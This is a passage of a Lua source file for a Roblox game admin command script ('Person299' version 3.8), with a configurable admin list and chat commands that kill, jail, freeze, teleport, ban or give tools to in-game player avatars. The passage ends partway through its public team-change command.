-- Version 3.8
adminlist = { "WaddleJrJr" , "JenTy" } --add in the names of people you want to be able to use the command script here
-- Please keep my name in there. ;)
bannedlist = { "tker", "noob","someoneyouhate" } -- If you want someone not to be able to enter your place, put thier name in here.
resetlist = { "reset", "suicide","die" } -- put stuff you want people to be able to say to kill themselves here
fixlist = { "fix", "iwontrespawn" } -- put stuff you want people to be able to say if you want them to get a new character if thiers wont respawn in here.
texture = "" -- if you want a person wearing a certain shirt to be a admin, then paste the texture URL betweens the "s, i included instructions from the wiki on how to find a shirts's texture URL at the bottom of the script
secondsbeforemessagesdissapear = 2 -- Set this to how many seconds you want it to take for messages to disappear
teamchange = true -- make this "true" if you want people to be able to change teams by saying join/teamname and, "false" if you dont
killonteamchange = true -- make this "true" if you want people to get killed from changing team and "false" if you dont.
noguests = false -- make this true if you want guests to be automatically removed, false if you dont
-- and also, the names in adminlist, resetlist, and bannedlist arent case sensivitve.
--[[
I update this command script alot, so if you want to get the newest version of the script, go to http://www.roblox.com/Item.aspx?ID=5277383 every once in a while.
If theres anything you think this command script needs, just message me (Person299) and i might put it in. :)
And also, if you find any bugs, report them to me.
c//
creates a multiline script, every time you say it it adds to a script, then creates the script when you say "done", for instance
c// while true do
c// wait()
c// game.Workspace.Player.Torso.Velocity = Vector3.new(0,100,0)
c// end
done
clear
Removes all the scripts made by c/ and c// and all the jails
Note that for kill/, punish/, unpunish/, ffon/, ffoff/, sparkles/,unsparkles/, jail/, unjail/, walkspeed/, invisible/, visible, change/, control/, merge/, teleport, btools/, god/, trip/, heal/, freeze/, thaw/, loopkill/, unloopkill/, and give/, what you say doesnt have to be the full name, for example
kill/per
And that will kill everyone whose name begins with "per"
And also, the tool name for give/ has to be exact.
And, the team name for the join/ command can be abbreviated, for instance, if you want to join Red Team, join/r would suffice.
And you CANNOT abbreviate the names for the ban/, kick/, and admin/ commands, you have to type in the full name.
Oh yeah, and capitalisation doesnt matter, except for the /s, so you could say KiLl/PeR
And please dont be a noob and copy the script and replace my name with yours, i'm ok with people copying it but as long as i get credit.
--]]
ff = script:FindFirstChild("tools")
if ff ~= nil then
ff.Parent = game.Lighting
model = ff
else
model = Instance.new("Model")
model.Name = "tools"
model.Parent = game.Lighting
end
c = game.Lighting:GetChildren()
for i =1,#c do
if c[i].className == "Tool" then
c[i]:clone().Parent = model
end
if c[i].className == "HopperBin" then
c[i]:clone().Parent = model
end
end
function text(message,object,type,waitnum)
mes = Instance.new(type)
mes.Text = message
mes.Name = message
mes.Parent = object
if waitnum == 0 then
wait(secondsbeforemessagesdissapear)
else
wait(waitnum)
end
c = object:FindFirstChild(message)
if c ~= nil then
c:remove()
end
end
function onChatted(msg,recipient,speaker)
if (string.sub(string.lower(msg),1,2) == "m/") then
text(speaker.Name .. ": " .. string.sub(msg,3),game.Workspace,"Message",0)
end
if (string.sub(string.lower(msg),1,2) == "h/") then
text(speaker.Name .. ": " .. string.sub(msg,3),game.Workspace,"Hint",0)
end
if (string.sub(string.lower(msg),1,2) == "c/") then
if (string.sub(string.lower(msg),3,3) ~= "/") then
ick = string.sub(msg,3)
ack = Instance.new("Script")
ack.Source = ick
ack.Disabled = false
ack.Name = "MadeScript"
ack.Parent = game.Workspace
end
end
if (string.sub(string.lower(msg),1,3) == "c//") then
h = speaker:FindFirstChild("tobecontinued")
if h == nil then
ick = string.sub(msg,4)
ack = Instance.new("Script")
ack.Source = ick
ack.Name = "tobecontinued"
ack.Disabled = true
ack.Parent = speaker
text("Script started",speaker,"Message",1)
else
ick = string.sub(msg,4)
h.Source = h.Source .. " " .. ick
text("Added to script",speaker,"Message",1)
end
end
msg = string.lower(msg)
if (string.sub(string.lower(msg),1,4) == "done") then
h = speaker:FindFirstChild("tobecontinued")
if h ~= nil then
b = h:clone()
b.Disabled = false
b.Name = "MadeScript"
b.Parent = game.Workspace
h:remove()
text("Script Made",speaker,"Message",1)
end
end
if (string.sub(string.lower(msg),1,5) == "clear") then
c = game.Workspace:GetChildren()
for i = 1,#c do
if c[i].Name == "MadeScript" then
c[i]:remove()
end
if string.sub(c[i].Name,1,4) == "Jail" then
c[i]:remove()
end
end
end
if (string.sub(string.lower(msg),1,5) == "heal/") then
ick = string.sub(msg,6)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
h2 = h.Character:FindFirstChild("Humanoid")
if h2 ~= nil then
h2.Health = h2.MaxHealth
end
end
end
end
end
if (string.sub(string.lower(msg),1,12) == "removetools/") then
ick = string.sub(msg,13)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
c = h.Backpack:GetChildren()
for i=1,#c do
c[i]:remove()
end
c = h.Character:GetChildren()
for i=1,#c do
if c[i].className == "Tool" then
c[i]:remove()
end
end
end
end
end
end
if (string.sub(string.lower(msg),1,10) == "givetools/") then
ick = string.sub(msg,11)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
c = game.StarterPack:GetChildren()
for i =1,#c do
c[i]:clone().Parent = h.Backpack
end
end
end
end
end
if (string.sub(string.lower(msg),1,8) == "control/") then
ick = string.sub(msg,9)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
if h.Character ~= nil then
speaker.Character = h.Character
end
end
end
end
end
if (string.sub(string.lower(msg),1,5) == "trip/") then
ick = string.sub(msg,6)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
h2 = h.Character:FindFirstChild("Head")
if h2 ~= nil then
a = Instance.new("BodyThrust")
a.force = Vector3.new(0,0,-3500)
a.Parent = h2
wait(0.5)
a:remove()
end
end
end
end
end
--Whyd i pick the name person299 anyway?
if (string.sub(string.lower(msg),1,10) == "invisible/") then
ick = string.sub(msg,11)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
a1 = h.Character:FindFirstChild("Left Arm")
if a1 ~= nil then
a1.Transparency = 1
end
a2 = h.Character:FindFirstChild("Right Arm")
if a2 ~= nil then
a2.Transparency = 1
end
a3 = h.Character:FindFirstChild("Left Leg")
if a3 ~= nil then
a3.Transparency = 1
end
a4 = h.Character:FindFirstChild("Right Leg")
if a4 ~= nil then
a4.Transparency = 1
end
a5 = h.Character:FindFirstChild("Torso")
if a5 ~= nil then
a5.Transparency = 1
end
a6 = h.Character:FindFirstChild("Head")
if a6 ~= nil then
a6.Transparency = 1
a7 = a6:FindFirstChild("face")
if a7 ~= nil then
face = a7:clone()
a7:remove()
end
end
end
end
end
end
if (string.sub(string.lower(msg),1,7) == "freeze/") then
ick = string.sub(msg,8)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
a1 = h.Character:FindFirstChild("Left Arm")
if a1 ~= nil then
a1.Anchored = true
a1.Reflectance = 0.6
end
a2 = h.Character:FindFirstChild("Right Arm")
if a2 ~= nil then
a2.Anchored = true
a2.Reflectance = 0.6
end
a3 = h.Character:FindFirstChild("Left Leg")
if a3 ~= nil then
a3.Anchored = true
a3.Reflectance = 0.6
end
a4 = h.Character:FindFirstChild("Right Leg")
if a4 ~= nil then
a4.Anchored = true
a4.Reflectance = 0.6
end
a5 = h.Character:FindFirstChild("Torso")
if a5 ~= nil then
a5.Anchored = true
a5.Reflectance = 0.6
end
a6 = h.Character:FindFirstChild("Head")
if a6 ~= nil then
a6.Anchored = true
a6.Reflectance = 0.6
end
end
end
end
end
if (string.sub(string.lower(msg),1,5) == "thaw/") then
ick = string.sub(msg,6)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
a1 = h.Character:FindFirstChild("Left Arm")
if a1 ~= nil then
a1.Anchored = false
a1.Reflectance = 0
end
a2 = h.Character:FindFirstChild("Right Arm")
if a2 ~= nil then
a2.Anchored = false
a2.Reflectance = 0
end
a3 = h.Character:FindFirstChild("Left Leg")
if a3 ~= nil then
a3.Anchored = false
a3.Reflectance = 0
end
a4 = h.Character:FindFirstChild("Right Leg")
if a4 ~= nil then
a4.Anchored = false
a4.Reflectance = 0
end
a5 = h.Character:FindFirstChild("Torso")
if a5 ~= nil then
a5.Anchored = false
a5.Reflectance = 0
end
a6 = h.Character:FindFirstChild("Head")
if a6 ~= nil then
a6.Anchored = false
a6.Reflectance = 0
end
end
end
end
end
if (string.sub(string.lower(msg),1,11) == "maxplayers/") then
ack = game.Players.MaxPlayers
ick = string.sub(msg,12,13)
game.Players.MaxPlayers = ick
if game.Players.MaxPlayers == 0 then
game.Players.MaxPlayers = ack
end
end
if (string.sub(string.lower(msg),1,6) == "btool/") then
ick = string.sub(msg,7)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
a = Instance.new("HopperBin")
a.BinType = "GameTool"
a.Parent = h.Backpack
a = Instance.new("HopperBin")
a.BinType = "Clone"
a.Parent = h.Backpack
a = Instance.new("HopperBin")
a.BinType = "Hammer"
a.Parent = h.Backpack
end
end
end
end
if (string.sub(string.lower(msg),1,8) == "visible/") then
ick = string.sub(msg,9)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
a1 = h.Character:FindFirstChild("Left Arm")
if a1 ~= nil then
a1.Transparency = 0
end
a2 = h.Character:FindFirstChild("Right Arm")
if a2 ~= nil then
a2.Transparency = 0
end
a3 = h.Character:FindFirstChild("Left Leg")
if a3 ~= nil then
a3.Transparency = 0
end
a4 = h.Character:FindFirstChild("Right Leg")
if a4 ~= nil then
a4.Transparency = 0
end
a5 = h.Character:FindFirstChild("Torso")
if a5 ~= nil then
a5.Transparency = 0
end
a6 = h.Character:FindFirstChild("Head")
if a6 ~= nil then
a6.Transparency = 0
a7 = a6:FindFirstChild("face")
if a7 == nil then
if face ~= nil then
a8 = face:clone()
a8.Parent = a6
end
end
end
end
end
end
end
-- that invisible script was really tedious.
if (string.sub(string.lower(msg),1,6) == "merge/") then
for pie = 7,100 do
if string.sub(msg,pie,pie) == "/" then
danumber = pie - 1
break
end
end
ick = string.sub(msg,7,danumber)
ick2 = string.sub(msg,danumber + 2)
char1 = nil
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
char1 = h
end
end
end
char2 = nil
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick2)) == 1 then
if h.className == "Player" then
if h ~= char1 then
char2 = h
end
end
end
end
if char1 ~= nil then
if char2 ~= nil then
char1.Character = char2.Character
end
end
end
-- I wonder what my name spelled backwards looks like... 992nosreP eww, it almost spelled nose.
if (string.sub(string.lower(msg),1,10) == "walkspeed/") then
for pie = 11,100 do
if string.sub(msg,pie,pie) == "/" then
danumber = pie - 1
break
end
end
ick = string.sub(msg,11,danumber)
ick2 = string.sub(msg,danumber + 2)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
if h ~= char1 then
char = h
end
end
end
end
if char ~= nil then
if char.Character ~= nil then
char.Character.Humanoid.WalkSpeed = ick2
end
end
end
if (string.sub(string.lower(msg),1,9) == "teleport/") then
for pie = 10,100 do
if string.sub(msg,pie,pie) == "/" then
danumber = pie - 1
break
end
end
ick = string.sub(msg,10,danumber)
ick2 = string.sub(msg,danumber + 2)
char1 = nil
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
char1 = h
end
end
end
char2 = nil
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick2)) == 1 then
if h.className == "Player" then
if h ~= char1 then
char2 = h
end
end
end
end
if char1 ~= nil then
if char2 ~= nil then
t1 = char1.Character:FindFirstChild("Torso")
if t1 ~= nil then
t2 = char2.Character:FindFirstChild("Torso")
if t2 ~= nil then
t1.CFrame = t2.CFrame
end
end
end
end
end
if (string.sub(string.lower(msg),1,7) == "change/") then
for pie = 8,100 do
if string.sub(msg,pie,pie) == "/" then
danumber = pie - 1
break
end
end
for pie = danumber + 2,100 do
if string.sub(msg,pie,pie) == "/" then
danumber2 = pie - 1
break
end
end
ick = string.sub(msg,8,danumber)
ick2 = string.sub(msg,danumber + 2,danumber2)
ick3 = string.sub(msg, danumber2 + 2)
char1 = nil
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
char1 = h
end
end
end
if char1 ~= nil then
ls = char1.leaderstats
local c = ls:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick2)) == 1 then
h.Value = ick3
end
end
end
end
if string.lower(msg) == "shutdown" then
game.NetworkServer:remove()
end
-- that has to be the shortest command in the script.
if (string.sub(string.lower(msg),1,4) == "god/") then
ick = string.sub(msg,5)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
h2 = h.Character
if h2 ~= nil then
ack = Instance.new("Script")
ack.Source = [[
script.Parent.Humanoid.MaxHealth = 999999
script.Parent.Humanoid.Health = 999999
ff = Instance.new("ForceField")
ff.Parent = script.Parent
function ot(hit)
if hit.Parent ~= script.Parent then
h = hit.Parent:FindFirstChild("Humanoid")
if h ~= nil then
h.Health = 0
end
h = hit.Parent:FindFirstChild("Zombie")
if h ~= nil then
h.Health = 0
end
end
end
a = script.Parent:FindFirstChild("Left Arm")
if a ~= nil then
a.Reflectance = 1
a.Touched:connect(ot)
end
a = script.Parent:FindFirstChild("Right Arm")
if a ~= nil then
a.Reflectance = 1
a.Touched:connect(ot)
end
a = script.Parent:FindFirstChild("Left Leg")
if a ~= nil then
a.Reflectance = 1
a.Touched:connect(ot)
end
a = script.Parent:FindFirstChild("Right Leg")
if a ~= nil then
a.Reflectance = 1
a.Touched:connect(ot)
end
a = script.Parent:FindFirstChild("Torso")
if a ~= nil then
a.Reflectance = 1
a.Touched:connect(ot)
end
a = script.Parent:FindFirstChild("Head")
if a ~= nil then
a.Reflectance = 1
a.Touched:connect(ot)
end
]]
ack.Parent = h2
end
end
end
end
end
-- that was as tedious as the invisible script...
if string.lower(msg) == "commands" then
text = string.rep(" ",30)
text = text .. [[The admin commands are as follows, note that for most commands you dont have to say the full name, so you could say kill/per, kill/person299, killall, explode/person299, explodeall, loopkill/person299, unloopkill/person299, ban/person299, float/person299, unfloat/person299,
floatall, unfloatall, kick/person299, admin/person299, jail/person299, unjail/person299, walkspeed/person299/100, change/person299/kos/999, punish/person299, unpunish/person299, removetools/person299, givetools/person299, control/person299, merge/person299/player, teleport/person299/player, ffon/person299, ffoff/person299,sparkles/person299, unsparkles/person299,
invisible/person299, visible/person299, freeze/person299, thaw/person299, give/rocket/person299, god/person299, heal/person299, trip/person299, maxplayers/10, btool/person299, m/text, h/text, shutdown, c/ script, c// while true do c// end done, clear. Have Fun!]]
message = Instance.new("Message")
message.Text = ""
message.Parent = speaker
ack = 0
while true do
wait(0.1)
ack = ack + 1
message.Text = string.sub(text,ack,ack + 30)
if string.sub(text,ack,ack) == "" then
break
end
end
message:remove()
end
if (string.sub(string.lower(msg),1,8) == "explode/") then
ick = string.sub(msg,9)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
h2 = h.Character:FindFirstChild("Torso")
if h2 ~= nil then
ex = Instance.new("Explosion")
ex.Position = h2.Position
ex.Parent = game.Workspace
end
end
end
end
end
if (string.sub(string.lower(msg),1,5) == "jail/") then
ick = string.sub(msg,6)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
h2 = h.Character:FindFirstChild("Torso")
if h2 ~= nil then
ack = Instance.new("Model")
ack.Name = "Jail" .. h.Name
icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -3.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -3.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -5.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -7.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(7,1.2000000476837,7) icky.CFrame = CFrame.new(-27.5, 112.599998, -4.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -5.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -1.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack
ack.Parent = game.Workspace
ack:MoveTo(h2.Position)
end
end
end
end
end
if (string.sub(string.lower(msg),1,7) == "unjail/") then
ick = string.sub(msg,8)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
c2 = game.Workspace:GetChildren()
for i2 =1,#c2 do
if string.sub(c2[i2].Name,1,4) == "Jail" then
if string.sub(c2[i2].Name,5) == h.Name then
c2[i2]:remove()
end
end
end
end
end
end
end
if (string.sub(string.lower(msg),1,5) == "kill/") then
ick = string.sub(msg,6)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
h2 = h.Character:FindFirstChild("Humanoid")
if h2 ~= nil then
h2.Health = 0
end
end
end
end
end
if (string.sub(string.lower(msg),1,11) == "unloopkill/") then
ick = string.sub(msg,12)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
c = game.Workspace:GetChildren()
for i =1,#c do
if string.sub(c[i].Name,1,8) == "loopkill" then
if string.sub(c[i].Name,9) == h.Name then
c[i]:remove()
end
end
end
end
end
end
end
if (string.sub(string.lower(msg),1,9) == "loopkill/") then
ick = string.sub(msg,10)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
h2 = h.Character:FindFirstChild("Humanoid")
if h2 ~= nil then
h2.Health = 0
end
ack = Instance.new("Script")
ack.Name = "loopkill" .. h.Name
ack.Source = "player = game.Players." .. h.Name
ack.Source = ack.Source .. [[
function oa(object)
plr = game.Players:playerFromCharacter(object)
if plr ~= nil then
if plr == player then
object.Humanoid.Health = 0
end
end
end
game.Workspace.ChildAdded:connect(oa)
]]
ack.Parent = game.Workspace
end
end
end
end
if (string.sub(string.lower(msg),1,10) == "unfloatall") then
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if h.className == "Player" then
if h.Character ~= nil then
h2 = h.Character:FindFirstChild("Head")
if h2 ~= nil then
h3 = h2:FindFirstChild("RocketPropulsion")
if h3 ~= nil then
h3:remove()
end
end
end
end
end
end
if (string.sub(string.lower(msg),1,8) == "floatall") then
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if h.className == "Player" then
if h.Character ~= nil then
h2 = h.Character:FindFirstChild("Head")
if h2 ~= nil then
h3 = h.Character:FindFirstChild("Torso")
if h3 ~= nil then
rp = Instance.new("RocketPropulsion")
rp.Target = h3
rp.Parent = h2
rp:Fire()
end
end
end
end
end
end
if (string.sub(string.lower(msg),1,6) == "float/") then
ick = string.sub(msg,7)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
h2 = h.Character:FindFirstChild("Head")
if h2 ~= nil then
h3 = h.Character:FindFirstChild("Torso")
if h3 ~= nil then
rp = Instance.new("RocketPropulsion")
rp.Target = h3
rp.Parent = h2
rp:Fire()
end
end
end
end
end
end
if (string.sub(string.lower(msg),1,8) == "unfloat/") then
ick = string.sub(msg,9)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
h2 = h.Character:FindFirstChild("Head")
if h2 ~= nil then
h3 = h2:FindFirstChild("RocketPropulsion")
if h3 ~= nil then
h3:remove()
end
end
end
end
end
end
if (string.sub(string.lower(msg),1,5) == "ffon/") then
ick = string.sub(msg,6)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
if h.Character ~= nil then
ff = Instance.new("ForceField")
ff.Parent = h.Character
end
end
end
end
end
if (string.sub(string.lower(msg),1,6) == "ffoff/") then
ick = string.sub(msg,7)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
if h.Character ~= nil then
h2 = h.Character:FindFirstChild("ForceField")
if h2 ~= nil then
h2:remove()
end
end
end
end
end
end
if (string.sub(string.lower(msg),1,9) == "sparkles/") then
ick = string.sub(msg,10)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
if h.Character ~= nil then
ff = Instance.new("Sparkles")
ff.Parent = h.Character.Head
end
end
end
end
end
if (string.sub(string.lower(msg),1,11) == "unsparkles/") then
ick = string.sub(msg,12)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
if h.Character ~= nil then
h2 = h.Character.Head:FindFirstChild("Sparkles")
if h2 ~= nil then
h2:remove()
end
end
end
end
end
end
if (string.sub(string.lower(msg),1,7) == "killall") then
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if h.className == "Player" then
if h.Character ~= nil then
h2 = h.Character:FindFirstChild("Humanoid")
if h2 ~= nil then
h2.Health = 0
end
end
end
end
end
if (string.sub(string.lower(msg),1,10) == "explodeall") then
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if h.className == "Player" then
if h.Character ~= nil then
h2 = h.Character:FindFirstChild("Torso")
if h2 ~= nil then
ex = Instance.new("Explosion")
ex.Position = h2.Position
ex.Parent = game.Workspace
end
end
end
end
end
-- i like big explosions
if (string.sub(string.lower(msg),1,4) == "ban/") then
sp = false
for i3 = 1,#adminlist do
if string.lower(speaker.Name) == string.lower(adminlist[i3]) then
sp = true
end
end
if sp == true then
ick = string.sub(msg,5)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.lower(h.Name) == string.lower(ick) then
if h.className == "Player" then
isadmin = false
for i = 1,#adminlist do
if h.Name == adminlist[i] then
isadmin = true
end
end
if isadmin == false then
table.insert(bannedlist,string.lower(h.Name))
h:remove()
end
end
end
end
end
end
if (string.sub(string.lower(msg),1,5) == "kick/") then
ick = string.sub(msg,6)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.lower(h.Name) == string.lower(ick) then
if h.className == "Player" then
isadmin = false
for i = 1,#adminlist do
if h.Name == adminlist[i] then
isadmin = true
end
end
if isadmin == false then
h:remove()
end
end
end
end
end
if (string.sub(string.lower(msg),1,6) == "admin/") then
ick = string.sub(msg,7)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.lower(h.Name) == string.lower(ick) then
if h.className == "Player" then
h.Chatted:connect(function(msg,recipient) onChatted(msg,recipient,h) end)
end
end
end
end
if (string.sub(string.lower(msg),1,7) == "punish/") then
ick = string.sub(msg,8)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
h.Character.Parent = game.Lighting
end
end
end
end
if (string.sub(string.lower(msg),1,9) == "unpunish/") then
ick = string.sub(msg,10)
local c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),string.lower(ick)) == 1 then
if h.className == "Player" then
h.Character.Parent = game.Workspace
h.Character:makeJoints()
end
end
end
end
if (string.sub(string.lower(msg),1,5) == "give/") then
danumber = 0
for pie = 7,100 do
if string.sub(msg,pie,pie) == "/" then
danumber = pie - 1
break
end
end
c = model:GetChildren()
for i = 1,#c do
if string.lower(c[i].Name) == string.sub(msg,6,danumber) then
cloned = c[i]:clone()
end
end
ick = string.sub(msg,danumber + 2)
c = game.Players:GetChildren()
for i=1,#c do
h = c[i]
if string.find(string.lower(h.Name),ick) == 1 then
if h.className == "Player" then
if cloned ~= nil then
clone2 = cloned:clone()
clone2.Parent = h.Backpack
end
end
end
end
cloned = nil
end
-- that may have been the most confuzzling command in the script
-- i cant think of any more commands to add in...
end
function onChatted2(msg,recipient,speaker) -- yay public commands
for i = 1,#resetlist do
if string.lower(msg) == resetlist[i] then
if speaker.Character ~= nil then
speaker.Character.Humanoid.Health = 0
end
end
end
for i = 1,#fixlist do
if string.lower(msg) == fixlist[i] then
ack2 = Instance.new("Model")
ack2.Parent = game.Workspace
ack4 = Instance.new("Part")
ack4.Transparency = 1
ack4.CanCollide = false
ack4.Anchored = true
ack4.Name = "Torso"
ack4.Position = Vector3.new(10000,10000,10000)
ack4.Parent = ack2
ack3 = Instance.new("Humanoid")
ack3.Torso = ack4
ack3.Parent = ack2
speaker.Character = ack2
end
end
if teamchange == true then
if string.sub(string.lower(msg),1,5) == "join/" then
if string.sub(msg,6,6) == " " then
ack = string.sub(string.lower(msg),7)
else
ack = string.sub(string.lower(msg),6)
end
c = game.Teams:GetChildren()
for i = 1,#c do
--if string.lower(c[i].Name) == ack then -- i hate spelling the full team name, dont you?
if string.find(string.lower(c[i].Name),string.lower(ack)) == 1 then
speaker.TeamColor = c[i].TeamColor
if killonteamchange == true then
if speaker.Character ~= nil then
speaker.Character.Humanoid.Health = 0
end
